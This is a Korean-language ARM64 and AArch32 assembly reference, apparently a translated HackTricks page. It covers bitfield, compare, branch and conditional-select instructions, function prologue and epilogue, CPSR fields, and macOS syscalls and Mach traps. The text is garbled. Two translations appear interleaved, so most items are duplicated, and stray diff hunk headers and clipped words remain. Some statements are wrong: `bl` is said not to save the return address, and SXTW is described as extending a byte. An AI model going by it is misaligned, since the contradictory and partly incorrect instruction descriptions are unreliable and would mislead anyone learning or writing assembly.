- 부호 있는 비트 필드 이동: `SBFM Xd, Xn, #r, #s`
- 부호 없는 비트 필드 이동: `UBFM Xd, Xn, #r, #s`
- **비트 필드 추출 및 삽입:** 레지스터에서 비트 필드를 복사하여 다른 레지스터로 복사합니다.
- **`BFI X1, X2, #3, #4`**: X1의 3번째 비트에서 X2의 4비트를 삽입합니다.
- **`BFXIL X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하여 X1에 복사합니다.
- **`SBFIZ X1, X2, #3, #4`**: X2의 4비트를 부호 확장하여 X1에 비트 위치 3에서 삽입하고 오른쪽 비트를 0으로 설정합니다.
- **`SBFX X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하고 부호 확장하여 결과를 X1에 배치합니다.
- **`UBFIZ X1, X2, #3, #4`**: X2의 4비트를 0으로 확장하여 X1에 비트 위치 3에서 삽입하고 오른쪽 비트를 0으로 설정합니다.
- **`UBFX X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하고 0으로 확장된 결과를 X1에 배치합니다.
- **X로 부호 확장:** 값을 부호 확장(또는 부호 없는 버전에서는 0을 추가)하여 연산을 수행할 수 있도록 합니다:
- **`SXTB X1, W2`**: W2에서 X1으로 바이트의 부호를 확장하여 64비트를 채웁니다(`W2``X2`의 절반입니다).
- **`SXTH X1, W2`**: W2에서 X1으로 16비트 숫자의 부호를 확장하여 64비트를 채웁니다.
- **`SXTW X1, W2`**: W2에서 X1으로 바이트의 부호를 확장하여 64비트를 채웁니다.
- **`UXTB X1, W2`**: W2에서 X1으로 바이트에 0을 추가하여 64비트를 채웁니다(부호 없는).
- **`extr`:** 지정된 **레지스터 쌍에서 비트를 추출**합니다.
- 예: `EXTR W3, W2, W1, #3`이는 **W1+W2를 연결**하고 **W2의 비트 3에서 W1의 비트 3까지** 가져와 W3에 저장합니다.
- **`cmp`**: 두 레지스터를 **비교**하고 조건 플래그를 설정합니다. 이는 **`subs`**의 **별칭**으로, 대상 레지스터를 제로 레지스터로 설정합니다. `m == n`인지 확인하는 데 유용합니다.
- **`subs`**와 동일한 문을 지원합니다.
- 예: `cmp x0, x1`이는 `x0``x1`의 값을 비교하고 조건 플래그를 적절히 설정합니다.
- **`cmn`**: **부정 피연산자 비교**. 이 경우 **`adds`**의 **별칭**이며 동일한 구문을 지원합니다. `m == -n`인지 확인하는 데 유용합니다.
- **`ccmp`**: 조건부 비교로, 이전 비교가 참인 경우에만 수행되는 비교이며 nzcv 비트를 설정합니다.
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2이고 x3 < x4인 경우 func로 점프합니다.
- 이는 **`ccmp`**가 **이전 `cmp``NE`인 경우에만 실행되기 때문**입니다. 그렇지 않으면 비트 `nzcv`는 0으로 설정됩니다(이는 `blt` 비교를 만족하지 않습니다).
- 이는 `ccmn`으로도 사용될 수 있습니다(부정인 경우, `cmp``cmn`처럼).
- **`tst`**: 비교의 값 중 하나라도 1인지 확인합니다(결과를 어디에도 저장하지 않고 ANDS처럼 작동합니다). 이는 레지스터와 값을 비교하고 레지스터에 표시된 값의 비트 중 하나라도 1인지 확인하는 데 유용합니다.
- 예: `tst X1, #7` — X1의 마지막 3비트 중 하나라도 1인지 확인합니다.
- **`teq`**: 결과를 버리는 XOR 연산입니다.
- **`b`**: 무조건 분기합니다.
- **Logical shift left**: 끝부분에 0을 채워 다른 비트를 앞으로 이동(2의 배수 곱셈 효과)
- **Logical shift right**: 시작 부분에 0을 채워 다른 비트를 뒤로 이동(무부호에서 2의 배수로 나눔)
- **Arithmetic shift right**: `lsr`과 유사하나 최상위 비트가 1이면 1로 채워짐(부호 있는 나눗셈)
- **Rotate right**: `lsr`과 유사하나 오른쪽에서 제거된 비트를 왼쪽에 붙임
- **Rotate Right with Extend**: `ror`과 유사하지만 캐리 플래그를 "최상위 비트"로 사용합니다. 따라서 캐리 플래그는 비트 31로 이동하고 제거된 비트는 캐리 플래그로 이동합니다.
- **`bfm`**: **Bit Field Move**, 이 연산은 값의 비트 `0...n`을 복사하여 위치 **`m..m+n`**에 넣습니다. **`#s`**는 왼쪽 끝 비트 위치를, **`#r`**은 오른쪽으로 회전할 양을 지정합니다.
- Bitfield move: `BFM Xd, Xn, #r`
- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
- **Bitfield Extract and Insert:** 한 레지스터의 비트필드를 복사하여 다른 레지스터에 복사합니다.
- **`BFI X1, X2, #3, #4`**: X2의 4비트를 X1의 3번째 비트 위치에 삽입
- **`BFXIL X1, X2, #3, #4`**: X2의 3번째 비트부터 4비트를 추출하여 X1에 복사
- **`SBFIZ X1, X2, #3, #4`**: X2의 4비트를 부호 확장하여 X1의 비트 위치 3부터 삽입하고 오른쪽 비트는 0으로 설정
- **`SBFX X1, X2, #3, #4`**: X2의 3번째 비트부터 4비트를 추출하여 부호 확장 후 X1에 저장
- **`UBFIZ X1, X2, #3, #4`**: X2의 4비트를 0으로 확장하여 X1의 비트 위치 3부터 삽입하고 오른쪽 비트는 0으로 설정
- **`UBFX X1, X2, #3, #4`**: X2의 3번째 비트부터 4비트를 추출하여 0 확장된 결과를 X1에 저장
- **Sign Extend To X:** 값의 부호를 확장(또는 무부호의 경우 0을 추가)하여 64비트 연산 가능하게 함:
- **`SXTB X1, W2`**: `W2`의 바이트를 부호 확장하여 `X1`에 채워 64비트로 만듦
- **`SXTH X1, W2`**: 16비트 값을 부호 확장하여 `X1`에 채워 64비트로 만듦
- **`SXTW X1, W2`**: W2의 값을 부호 확장하여 X1에 채워 64비트로 만듦
- **`UXTB X1, W2`**: 무부호로 0을 추가하여 W2의 바이트를 X1에 채워 64비트로 만듦
- **`extr`**: 지정된 레지스터 쌍을 연결한 비트들에서 비트를 추출합니다.
- 예: `EXTR W3, W2, W1, #3`W1+W2를 연결한 후 W2의 비트 3부터 W1의 비트 3까지를 추출하여 W3에 저장합니다.
- **`cmp`**: 두 레지스터를 비교하고 조건 플래그를 설정합니다. 이는 **`subs`**의 별칭(alias)으로 목적지 레지스터를 제로 레지스터로 설정합니다. 두 값이 같은지 확인할 때 유용합니다.
- `subs`와 동일한 문을 지원합니다.
- 예: `cmp x0, x1``x0``x1`을 비교하여 조건 플래그를 설정합니다.
- **`cmn`**: 음수 피연산자 비교. 이는 **`adds`**의 별칭으로 동일한 문법을 지원합니다. `m == -n`인지 확인할 때 유용합니다.
- **`ccmp`**: 조건부 비교. 이전 비교가 참일 때만 수행되는 비교로 `nzcv` 비트를 설정합니다.
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 만약 x1 != x2 이고 x3 < x4 라면 func로 점프
- 이는 **`ccmp`**가 이전 `cmp``NE`(not equal)인 경우에만 실행되기 때문입니다. 그렇지 않으면 `nzcv` 비트는 0으로 설정되어 `blt` 비교를 만족시키지 않습니다.
- 이는 `ccmn`(음수 비교 버전)으로도 사용 가능합니다.
- **`tst`**: ANDS를 수행하되 결과를 저장하지 않는 방식으로 레지스터의 비트 중 지정된 값과 겹치는 1 비트가 있는지 검사합니다. 레지스터의 특정 비트들이 1인지 확인할 때 유용합니다.
- 예: `tst X1, #7` — X1의 마지막 3비트 중 하나라도 1인지 확인
- **`teq`**: 결과를 버리는 XOR 연산
- **`b`**: 무조건 분기(Unconditional Branch)
- 예: `b myFunction`
- 이 명령은 링크 레지스터에 반환 주소를 채우지 않으므로(반환이 필요한 서브루틴 호출에 적합하지 않음) 주의해야 합니다.
- **`bl`**: **링크가 있는 분기**, **서브루틴을 호출**하는 데 사용됩니다. **`x30`**에 **반환 주소를 저장**합니다.
- 예: `bl myFunction`이 명령은 `myFunction`을 호출하고 반환 주소를 `x30`에 저장합니다.
- 이 명령은 링크 레지스터에 반환 주소를 채우지 않으므로(반환이 필요한 서브루틴 호출에 적합하지 않음) 주의해야 합니다.
- **`blr`**: **레지스터로 링크가 있는 분기**, **서브루틴을 호출**하는 데 사용되며, 대상이 **레지스터**에 **지정**됩니다. 반환 주소는 `x30`에 저장됩니다.
- 예: `blr x1`이 명령은 `x1`에 포함된 주소의 함수를 호출하고 반환 주소를 `x30`에 저장합니다.
- **`ret`**: **서브루틴에서 반환**하며, 일반적으로 **`x30`**의 주소를 사용합니다.
- 예: `ret`이 명령은 현재 서브루틴에서 반환하며 `x30`의 반환 주소를 사용합니다.
- **`b.<cond>`**: 조건부 분기입니다.
- **`b.eq`**: **같으면 분기**하며, 이전 `cmp` 명령어를 기반으로 합니다.
- 예: `b.eq label` — 이전 `cmp` 명령어가 두 값을 같다고 찾으면, 이 명령은 `label`로 점프합니다.
- **`b.ne`**: **같지 않으면 분기**. 이 명령은 조건 플래그를 확인하며(이전 비교 명령어에 의해 설정됨), 비교된 값이 같지 않으면 레이블이나 주소로 분기합니다.
- 예: `cmp x0, x1` 명령어 후, `b.ne label``x0``x1`의 값이 같지 않으면 이 명령은 `label`로 점프합니다.
- **`cbz`**: **제로에서 비교하고 분기**. 이 명령은 레지스터를 0과 비교하며, 같으면 레이블이나 주소로 분기합니다.
- 예: `cbz x0, label``x0`의 값이 0이면 이 명령은 `label`로 점프합니다.
- **`cbnz`**: **비제로에서 비교하고 분기**. 이 명령은 레지스터를 0과 비교하며, 같지 않으면 레이블이나 주소로 분기합니다.
- 예: `cbnz x0, label``x0`의 값이 비제로이면 이 명령은 `label`로 점프합니다.
- **`tbnz`**: 비트를 테스트하고 비제로에서 분기합니다.
- 이 명령은 복귀 주소를 링크 레지스터에 채우지 않으므로(서브루틴 호출 후 돌아올 필요가 있는 경우) 적합하지 않습니다.
- **`bl`**: **Branch** with link, 서브루틴 호출에 사용. **복귀 주소를 `x30` 저장**합니다.
- 예: `bl myFunction``myFunction`을 호출하고 복귀 주소를 `x30`에 저장합니다.
- 이 명령은 복귀 주소를 링크 레지스터에 채우지 않으므로(설명 중복) 적절치 않다는 문장이 원문에 중복되어 있습니다.
- **`blr`**: **Branch** with Link to Register, 호출 대상이 레지스터에 지정된 서브루틴을 호출하는 데 사용. 복귀 주소를 `x30`에 저장합니다.
- 예: `blr x1``x1`에 담긴 주소의 함수를 호출하고 복귀 주소를 `x30`에 저장합니다.
- **`ret`**: 서브루틴에서 **복귀**, 보통 `x30`의 주소를 사용합니다.
- 예: `ret`현재 서브루틴에서 `x30`에 있는 주소를 사용해 반환합니다.
- **`b.<cond>`**: 조건부 분기
- **`b.eq`**: 이전 `cmp` 결과를 기반으로 **같을 때 분기**.
- 예: `b.eq label` — 이전 `cmp`가 두 값이 같다고 판단하면 `label`로 점프합니다.
- **`b.ne`**: **같지 않을 때 분기**. 이전 비교 명령이 설정한 조건 플래그를 검사하여 값이 같지 않으면 레이블로 분기합니다.
- 예: `cmp x0, x1` 이후 `b.ne label``x0``x1`이 같지 않으면 `label`로 점프합니다.
- **`cbz`**: **Compare and Branch on Zero**. 레지스터를 0과 비교하여 0이면 분기합니다.
- 예: `cbz x0, label``x0`이 0이면 `label`로 점프합니다.
- **`cbnz`**: **Compare and Branch on Non-Zero**. 레지스터를 0과 비교하여 0이 아니면 분기합니다.
- 예: `cbnz x0, label``x0`이 0이 아니면 `label`로 점프합니다.
- **`tbnz`**: 특정 비트를 테스트하고 0이 아니면 분기
- 예: `tbnz x0, #8, label`
- **`tbz`**: 비트를 테스트하고 제로에서 분기합니다.
- **`tbz`**: 특정 비트를 테스트하고 0이면 분기
- 예: `tbz x0, #8, label`
- **조건부 선택 작업**: 이러한 작업은 조건 비트에 따라 동작이 달라집니다.
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 참이면 X0 = X1, 거짓이면 X0 = X2
- **조건부 선택 연산(Conditional select operations)**: 조건 비트에 따라 동작이 달라지는 연산들입니다.
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 조건이 참이면 X0 = X1, 거짓이면 X0 = X2
- `csinc Xd, Xn, Xm, cond` -> 참이면 Xd = Xn, 거짓이면 Xd = Xm + 1
- `cinc Xd, Xn, cond` -> 참이면 Xd = Xn + 1, 거짓이면 Xd = Xn
- `csinv Xd, Xn, Xm, cond` -> 참이면 Xd = Xn, 거짓이면 Xd = NOT(Xm)
- `cinv Xd, Xn, cond` -> 참이면 Xd = NOT(Xn), 거짓이면 Xd = Xn
- `csneg Xd, Xn, Xm, cond` -> 참이면 Xd = Xn, 거짓이면 Xd = - Xm
- `cneg Xd, Xn, cond` -> 참이면 Xd = - Xn, 거짓이면 Xd = Xn
- `csneg Xd, Xn, Xm, cond` -> 참이면 Xd = Xn, 거짓이면 Xd = -Xm
- `cneg Xd, Xn, cond` -> 참이면 Xd = -Xn, 거짓이면 Xd = Xn
- `cset Xd, Xn, Xm, cond` -> 참이면 Xd = 1, 거짓이면 Xd = 0
- `csetm Xd, Xn, Xm, cond` -> 참이면 Xd = \<모두 1>, 거짓이면 Xd = 0
- **`adrp`**: **기호의 페이지 주소를 계산**하고 레지스터에 저장합니다.
- 예: `adrp x0, symbol`이 명령은 `symbol`의 페이지 주소를 계산하고 `x0`에 저장합니다.
- **`ldrsw`**: 메모리에서 **부호 있는 32비트** 값을 **로드**하고 **64비트로 부호 확장**합니다.
- 예: `ldrsw x0, [x1]`이 명령은 `x1`이 가리키는 메모리 위치에서 부호 있는 32비트 값을 로드하고, 이를 64비트로 부호 확장하여 `x0`에 저장합니다.
- **`stur`**: **레지스터 값을 메모리 위치에 저장**하며, 다른 레지스터에서 오프셋을 사용합니다.
- 예: `stur x0, [x1, #4]`이 명령은 `x0`의 값을 `x1`의 주소보다 4바이트 더 큰 메모리 주소에 저장합니다.
- **`svc`**: **시스템 호출**을 수행합니다. "Supervisor Call"의 약자입니다. 프로세서가 이 명령어를 실행하면 **사용자 모드에서 커널 모드로 전환**되고, **커널의 시스템 호출 처리** 코드가 있는 메모리의 특정 위치로 점프합니다.
- `csetm Xd, Xn, Xm, cond` -> 참이면 Xd = \<all 1>, 거짓이면 Xd = 0
- **`adrp`**: 심볼의 **페이지 주소**를 계산하여 레지스터에 저장합니다.
- 예: `adrp x0, symbol``symbol`의 페이지 주소를 계산하여 `x0`에 저장합니다.
- **`ldrsw`**: 메모리에서 부호 있는 **32비트** 값을 읽어 **64비트로 부호 확장**하여 로드합니다.
- 예: `ldrsw x0, [x1]``x1`이 가리키는 메모리에서 부호 있는 32비트 값을 읽어 64비트로 확장해 `x0`에 저장합니다.
- **`stur`**: 한 레지스터의 값을 다른 레지스터로부터 오프셋을 사용해 메모리 위치에 저장합니다.
- 예: `stur x0, [x1, #4]``x1`에 있는 주소보다 4바이트 큰 메모리 주소에 `x0`의 값을 저장합니다.
- **`svc`**: **시스템 콜**을 수행합니다. Supervisor Call의 약자입니다. 프로세서가 이 명령을 실행하면 **유저 모드에서 커널 모드로 전환**되고 커널의 시스템 콜 처리 코드가 있는 특정 메모리 위치로 점프합니다.
- 예:
```armasm
mov x8, 93 ; 종료를 위한 시스템 호출 번호(93)를 레지스터 x8에 로드합니다.
mov x0, 0 ; 종료 상태 코드(0)를 레지스터 x0에 로드합니다.
svc 0 ; 시스템 호출을 수행합니다.
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
```
### **함수 프로롤로그**
### **Function Prologue**
1. **링크 레지스터와 프레임 포인터를 스택에 저장**:
1. **Save the link register and frame pointer to the stack**:
```armasm
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
```
2. **새 프레임 포인터 설정**: `mov x29, sp` (현재 함수에 대한 새 프레임 포인터를 설정)
3. **로컬 변수를 위한 스택 공간 할당 (필요한 경우)**: `sub sp, sp, <size>` (여기서 `<size>`는 필요한 바이트 수)
2. **새 frame pointer 설정**: `mov x29, sp` (현재 함수의 새 frame pointer를 설정합니다)
3. **로컬 변수용 스택 공간 할당** (필요한 경우): `sub sp, sp, <size>` (여기서 `<size>`는 필요한 바이트 수입니다)
### **함수 에필로그**
1. **로컬 변수 해제 (할당된 경우)**: `add sp, sp, <size>`
2. **링크 레지스터와 프레임 포인터 복원**:
1. **로컬 변수 해제** (로컬 변수가 할당된 경우): `add sp, sp, <size>`
2. **link register와 frame pointer 복원**:
```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
```
3. **Return**: `ret` (호출자에게 링크 레지스터의 주소를 사용하여 제어를 반환)
3. **Return**: `ret` (링크 레지스터의 주소를 사용해 호출자에게 제어를 반환함)
## AARCH32 실행 상태
## AARCH32 Execution State
Armv8-A는 32비트 프로그램의 실행을 지원합니다. **AArch32**는 **두 가지 명령어 집합** 중 하나인 **`A32`**와 **`T32`**에서 실행될 수 있으며, **`interworking`**을 통해 이들 간에 전환할 수 있습니다.\
**특권** 64비트 프로그램은 낮은 특권 32비트로의 예외 수준 전환을 실행하여 **32비트** 프로그램의 **실행을 예약**할 수 있습니다.\
64비트에서 32비트로의 전환은 예외 수준의 하강과 함께 발생한다는 점에 유의하십시오(예: EL1의 64비트 프로그램이 EL0의 프로그램을 트리거함). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로 설정**하여 수행되며, 나머지 `SPSR_ELx`는 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음, 특권 프로세스는 **`ERET`** 명령어를 호출하여 프로세서가 CPSR에 따라 A32 또는 T32로 **`AArch32`**로 전환되도록 합니다.
Armv8-A는 32비트 프로그램 실행을 지원한다. **AArch32**는 두 개의 **명령어 집합** 중 하나인 **`A32`** 또는 **`T32`**로 실행될 수 있으며 **`interworking`**을 통해 전환할 수 있다.\
**Privileged** 64비트 프로그램은 예외 레벨 전송을 실행하여 권한이 낮은 32비트에서 32비트 프로그램의 실행을 스케줄할 수 있다.\
64비트에서 32비트로의 전환은 더 낮은 예외 레벨에서 발생한다(예: EL1의 64비트 프로그램이 EL0의 프로그램을 트리거하는 경우). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 특수 레지스터 **`SPSR_ELx`**의 **bit 4**를 **1**로 설정함으로써 이루어진다. `SPSR_ELx`의 나머지 비트는 **`AArch32`** 프로그램의 CPSR을 저장한다. 그런 다음 특권 프로세스가 **`ERET`** 명령을 호출하면 프로세서는 **`AArch32`**로 전환하고 CPSR에 따라 A32 또는 T32로 진입한다.
**`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0``T=0`**`A32`**를 의미하고, `J=0``T=1`은 **T32**를 의미합니다. 이는 기본적으로 명령어 집합이 T32임을 나타내기 위해 **최하위 비트를 1로 설정**하는 것으로 해석됩니다.\
이는 **interworking 분기 명령어** 중에 설정되지만, PC가 목적 레지스터로 설정될 때 다른 명령어로 직접 설정할 수도 있습니다. 예:
**`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생다. `J=0``T=0`**`A32`**를 의미하고 `J=0``T=1`은 **T32**를 의미다. 이는 기본적으로 명령어 집합이 T32임을 나타내기 위해 **최하위 비트를 1로 설정하는 것**으로 해석된다.\
이는 **interworking branch instructions** 동안 설정되지만, PC가 목적지 레지스터로 설정될 때 다른 명령어로 직접 설정될 수도 있다. 예:
또 다른 예:
```armasm
@ -262,62 +265,62 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
mov r0, #0
mov r0, #8
```
### Registers
### 레지스터
16개의 32비트 레지스터(r0-r15)가 있습니다. **r0에서 r14까지**는 **모든 작업**에 사용할 수 있지만, 그 중 일부는 일반적으로 예약되어 있습니다:
16개의 32비트 레지스터(r0-r15)가 있다. **r0부터 r14까지**는 **모든 연산에** 사용할 수 있지만, 일부는 보통 예약되어 있다:
- **`r15`**: 프로그램 카운터(항상). 다음 명령어의 주소를 포함합니다. A32에서는 현재 + 8, T32에서는 현재 + 4입니다.
- **`r15`**: 프로그램 카운터(항상). 다음 명령어의 주소를 포함한다. A32에서는 current + 8, T32에서는 current + 4.
- **`r11`**: 프레임 포인터
- **`r12`**: 절차 내 호출 레지스터
- **`r13`**: 스택 포인터
- **`r12`**: 프로시저 내부 호출 레지스터
- **`r13`**: 스택 포인터 (스택은 항상 16바이트 정렬되어 있음)
- **`r14`**: 링크 레지스터
또한, 레지스터는 **`banked registries`**에 백업됩니다. 이는 레지스터 값을 저장하여 예외 처리 및 특권 작업에서 **빠른 컨텍스트 전환**을 수행할 수 있게 해줍니다. 매번 레지스터를 수동으로 저장하고 복원할 필요가 없습니다.\
이는 예외가 발생한 프로세서 모드의 **`CPSR`**에서 **`SPSR`**로 프로세서 상태를 **저장함으로써** 이루어집니다. 예외가 반환될 때, **`CPSR`**는 **`SPSR`**에서 복원됩니다.
또한 레지스터는 **`banked registries`**에 백업된다. 이는 예외 처리나 특권 연산에서 레지스터를 매번 수동으로 저장하고 복원할 필요 없이 **빠른 컨텍스트 스위칭**을 수행할 수 있도록 레지스터 값을 저장하는 장소이다.\
이는 예외가 발생한 프로세서 모드의 프로세서 상태를 **`CPSR`에서 `SPSR`로 저장**함으로써 이루어진다. 예외 복귀 시에는 **`SPSR`**에서 **`CPSR`**가 복원된다.
### CPSR - 현재 프로그램 상태 레지스터
### CPSR - Current Program Status Register
AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예외가 발생할 때 나중에 실행을 복원하기 위해 **`SPSR_ELx`**에 저장됩니다:
AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 동작하며, 예외 발생 시 나중에 실행을 복원하기 위해 **`SPSR_ELx`**에 저장되기도 한다:
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
필드는 몇 개의 그룹으로 나뉩니다:
필드는 몇 개의 그룹으로 나다:
- 응용 프로그램 상태 레지스터(APSR): 산술 플래그 및 EL0에서 접근 가능
- 실행 상태 레지스터: 프로세스 동작(운영 체제에 의해 관리됨).
- Application Program Status Register (APSR): 산술 플래그이며 EL0에서 접근 가능
- Execution State Registers: 프로세스 동작(운영체제가 관리)
#### 응용 프로그램 상태 레지스터(APSR)
#### Application Program Status Register (APSR)
- **`N`**, **`Z`**, **`C`**, **`V`** 플래그( AArch64와 동일)
- **`Q`** 플래그: 특수한 포화 산술 명령어 실행 중 **정수 포화가 발생**할 때 1로 설정됩니다. **`1`**로 설정되면 수동으로 0으로 설정될 때까지 값을 유지합니다. 또한, 이 값의 상태를 암묵적으로 확인하는 명령어는 없으며, 수동으로 읽어야 합니다.
- **`GE`** (크거나 같음) 플래그: SIMD(단일 명령어, 다중 데이터) 작업에서 사용되며, "병렬 덧셈" 및 "병렬 뺄셈"과 같은 작업을 포함합니다. 이러한 작업은 단일 명령어로 여러 데이터 포인트를 처리할 수 있게 해줍니다.
- **`N`**, **`Z`**, **`C`**, **`V`** 플래그 (AArch64와 동일)
- **`Q`** 플래그: 특정 saturating 산술 명령 실행 중에 **정수 포화(integer saturation)**가 발생하면 1로 설정된다. 한 번 1로 설정되면 수동으로 0으로 설정할 때까지 유지된다. 또한 이 값은 암묵적으로 검사되는 명령이 없으므로, 수동으로 읽어 확인해야 한다.
- **`GE`** (Greater than or equal) 플래그: SIMD(단일 명령어, 다중 데이터) 연산(예: 병렬 덧셈, 병렬 뺄셈)에서 사용된다. 이러한 연산은 단일 명령으로 여러 데이터 포인트를 처리한다.
예를 들어, **`UADD8`** 명령어는 **네 쌍의 바이트**(두 개의 32비트 피연산자에서)를 병렬로 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과를 기반으로 **`APSR`**에서 **`GE`** 플래그를 **설정**합니다. 각 GE 플래그는 바이트 쌍의 덧셈이 **오버플로우**되었는지를 나타냅니다.
예를 들어, **`UADD8`** 명령은 병렬로 두 32비트 피연산자에서 나온 네 쌍의 바이트를 더하여 결과를 32비트 레지스터에 저장한다. 그런 다음 이러한 결과를 기반으로 **`APSR`**의 **`GE`** 플래그를 설정한다. 각 GE 플래그는 해당 바이트 덧셈 중 하나에 대응하며, 해당 바이트 쌍의 덧셈이 **오버플로우**했는지를 표시한다.
**`SEL`** 명령어는 이러한 GE 플래그를 사용하여 조건부 작업을 수행합니다.
**`SEL`** 명령은 이러한 GE 플래그를 사용하여 조건부 동작을 수행한다.
#### 실행 상태 레지스터
#### Execution State Registers
- **`J`** 및 **`T`** 비트: **`J`**는 0이어야 하며, **`T`**가 0이면 A32 명령어 세트가 사용되고, 1이면 T32가 사용됩니다.
- **IT 블록 상태 레지스터**(`ITSTATE`): 10-15 및 25-26의 비트입니다. **`IT`** 접두사가 붙은 그룹 내의 명령어 조건을 저장합니다.
- **`E`** 비트: **엔디안**을 나타냅니다.
- **모드 및 예외 마스크 비트**(0-4): 현재 실행 상태를 결정합니다. **5번째** 비트는 프로그램이 32비트(1) 또는 64비트(0)로 실행되는지를 나타냅니다. 나머지 4개는 **현재 사용 중인 예외 모드**를 나타냅니다(예외가 발생하고 처리 중일 때). 설정된 숫자는 이 예외가 처리되는 동안 다른 예외가 발생할 경우 **현재 우선 순위**를 나타냅니다.
- **`J`** 및 **`T`** 비트: **`J`**는 0이어야 하고, **`T`**가 0이면 A32 명령어 집합이 사용되며 1이면 T32가 사용된다.
- **IT Block State Register** (`ITSTATE`): 비트 10-15 및 25-26이다. **`IT`** 접두사 그룹 내부의 명령들에 대한 조건을 저장한다.
- **`E`** 비트: 엔디언니스를 나타낸다.
- **Mode and Exception Mask Bits** (0-4): 현재 실행 상태를 결정한다. 다섯 번째 비트는 프로그램이 32비트로 실행되는지(1) 또는 64비트로 실행되는지(0)를 나타낸다. 나머지 4비트는 현재 사용 중인 예외 모드를 나타내며(예외가 발생하여 처리 중일 때), 설정된 값은 이 처리 중에 다른 예외가 발생하면 현재 우선순위를 나타낸다.
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: 특정 예외는 **`A`**, `I`, `F` 비트를 사용하여 비활성화할 수 있습니다. **`A`**가 1이면 **비동기 중단**이 발생합니다. **`I`**는 외부 하드웨어 **인터럽트 요청**(IRQ)에 응답하도록 구성합니다. F는 **빠른 인터럽트 요청**(FIR)과 관련이 있습니다.
- **`AIF`**: 특정 예외는 **`A`**, `I`, `F` 비트로 비활성화할 수 있다. **`A`**가 1이면 **asynchronous aborts**가 트리거된다. **`I`**는 외부 하드웨어 **Interrupts Requests**(IRQs)에 대한 응답을 설정하고, `F`**Fast Interrupt Requests**(FIRs)와 관련된다.
## macOS
### BSD syscalls
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)를 확인하세요. BSD syscalls는 **x16 > 0**을 가집니다.
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)를 확인하거나 `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`를 실행해 보자. BSD syscalls는 **x16 > 0**을 가진다.
### Mach Traps
[mach_trap_table](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)에서 `mach_trap_table` 확인하고, [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)에서 프로토타입을 확인하세요. Mach traps의 최대 수는 `MACH_TRAP_TABLE_COUNT` = 128입니다. Mach traps는 **x16 < 0**을 가지므로, 이전 목록의 숫자를 **음수**로 호출해야 합니다: **`_kernelrpc_mach_vm_allocate_trap`**는 **`-10`**입니다.
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)에서 `mach_trap_table`을, [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)에서 프로토타입을 확인하라. Mach 트랩의 최대 개수는 `MACH_TRAP_TABLE_COUNT` = 128이다. Mach 트랩은 **x16 < 0**을 가지므로, 이전 목록의 번호를 호출할 때 **마이너스**를 붙여야 한다: **`_kernelrpc_mach_vm_allocate_trap`**는 **`-10`**이다.
러한 (및 BSD) syscalls를 호출하는 방법을 찾으려면 **`libsystem_kernel.dylib`**를 디스어셈블러에서 확인할 수 있습니다:
들(및 BSD) syscalls를 호출하는 방법을 확인하려면 디스어셈블러에서 **`libsystem_kernel.dylib`**을 확인할 수도 있다.
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
```
**Ida**와 **Ghidra**는 캐시를 통과시켜 **특정 dylibs**를 디컴파일할 수 있습니다.
Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
> [!TIP]
> 때때로 **소스 코드**를 확인하는 것보다 **`libsystem_kernel.dylib`**의 **디컴파일된** 코드를 확인하는 것이 더 쉽습니다. 여러 syscalls (BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에 (소스 코드의 주석을 확인하세요) dylib에서는 호출되는 내용을 찾을 수 있습니다.
> 때때로 여러 syscalls(BSD 및 Mach)의 코드가 스크립트로 생성되기 때문에(소스 코드의 주석을 확인하세요), **`libsystem_kernel.dylib`**의 **decompiled** 코드를 **source code**를 확인하는 것보다 검토하는 편이 더 쉬울 수 있습니다. dylib에서는 실제로 무엇이 호출되는지 찾을 수 있습니다.
### machdep 호출
